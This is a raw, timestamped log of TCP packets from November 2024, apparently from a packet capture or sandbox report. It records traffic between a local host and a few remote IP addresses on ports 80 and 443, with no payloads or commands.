Nov 28, 2024 17:24:46.216849089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.217267990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.217344999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.217418909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.217926979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.218070984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.218096018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.218832016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.218856096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.218882084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.218907118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.219074965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.219367981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.219531059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.295063019 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.295094013 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.295212030 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.295212030 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.295222044 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.295298100 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.307770014 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.307784081 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.307921886 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.307929039 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.308021069 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.321099997 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.321130991 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.321196079 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.321196079 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.321202040 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.321394920 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.321458101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.321587086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.321691036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.321752071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.321861982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.322014093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.322094917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.322098970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.322196960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.322655916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.322730064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.322751045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.322983027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.323340893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.323446989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.323477983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.323590994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.324043036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.324124098 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.324155092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.324301958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.324809074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.324898958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.325103045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.325221062 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.325563908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.325620890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.325676918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.325825930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.326348066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.326638937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.326644897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.326759100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.327042103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.327157974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.327172995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.327286005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.327716112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.327753067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.327779055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.328018904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.328418970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.328490019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.328512907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.328582048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.329082966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.329241991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.329293966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.329430103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.329788923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.329833031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.329927921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.330032110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.330594063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.330640078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.330651999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.330755949 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.330784082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.330797911 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.330820084 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.330837011 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.330926895 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.331239939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.331267118 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.331275940 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.331304073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.331336975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.331434965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.331962109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.332098961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.332103014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.332184076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.332704067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.332770109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.332787037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.332865953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.333396912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.333497047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.333550930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.333728075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.334073067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.334129095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.334177971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.334820986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.334832907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.334959030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.381750107 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:46.381887913 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:46.382092953 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:46.382643938 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:46.382668972 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:46.397629023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.397685051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.397773981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.397773981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.398027897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.398138046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.398142099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.398684025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.398709059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.398721933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.398813963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.398933887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.399544954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.399652004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.399671078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.399813890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.400233984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.400295019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.400321960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.400752068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.400820017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.400871038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.401276112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.401473045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.401599884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.401626110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.402169943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.402280092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.402282953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.402373075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.402903080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.402982950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.403244019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.403645039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.403693914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.403723001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.404350042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.404393911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.404421091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.404584885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.405045986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.405164003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.405189991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.405764103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.405848980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.405869007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.406172991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.406539917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.406593084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.406646013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.407181978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.407262087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.407289982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.407372952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.408034086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.408157110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.408193111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.408315897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.408725977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.408958912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.409043074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.409581900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.409712076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.409739971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.410228014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.410228014 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.410254955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.410262108 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.410298109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.410334110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.410361052 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.410442114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.410736084 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.410751104 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.411041021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.411081076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.411102057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.411442995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.411796093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.411879063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.411977053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.412403107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.412487984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.412506104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.412586927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.412931919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.412998915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.413014889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.413075924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.413613081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.413713932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.413747072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.413846970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.414326906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.414453983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.414479971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.414917946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.415059090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.415164948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.415190935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.415740967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.415829897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.415852070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.415971994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.416500092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.416623116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.416644096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.417201042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.417293072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.417315960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.417603970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.417907953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.417979956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.418126106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.418596029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.418643951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.418699026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.418803930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.419599056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.419682026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.419707060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.419780016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.420316935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.420418024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.420444965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.420851946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.421629906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.522902012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.523108006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.523113012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.523114920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.523319960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.523825884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.524003029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.524029970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.524532080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.524583101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.524583101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.524713039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.524813890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.524825096 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.525254965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.525338888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.525366068 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.525373936 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.525511026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.525959969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.525979042 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.525984049 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.526051044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.526074886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.526346922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.526670933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.526727915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.526799917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.526948929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.527396917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.527487993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.527514935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.527784109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.528162003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.528276920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.528323889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.528367043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.528790951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.528901100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.528965950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.529553890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.529640913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.529649019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.529740095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.530241013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.530365944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.530620098 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.530970097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.531034946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.531100035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.531235933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.531800985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.531934023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.531959057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.532099009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.532505989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.532660007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.532762051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.532860041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.533171892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.533207893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.533238888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.533395052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.533803940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.533869982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.533895016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.534020901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.534523010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.534651995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.534765959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.534967899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.535219908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.535290003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.535301924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.535428047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.535948038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.536081076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.536109924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.536139965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.536706924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.536765099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.598879099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.598905087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.599014044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.599040031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.599183083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.599206924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.599474907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.599731922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.599807024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.599845886 CET	80	49813	185.215.113.206	192.168.2.6
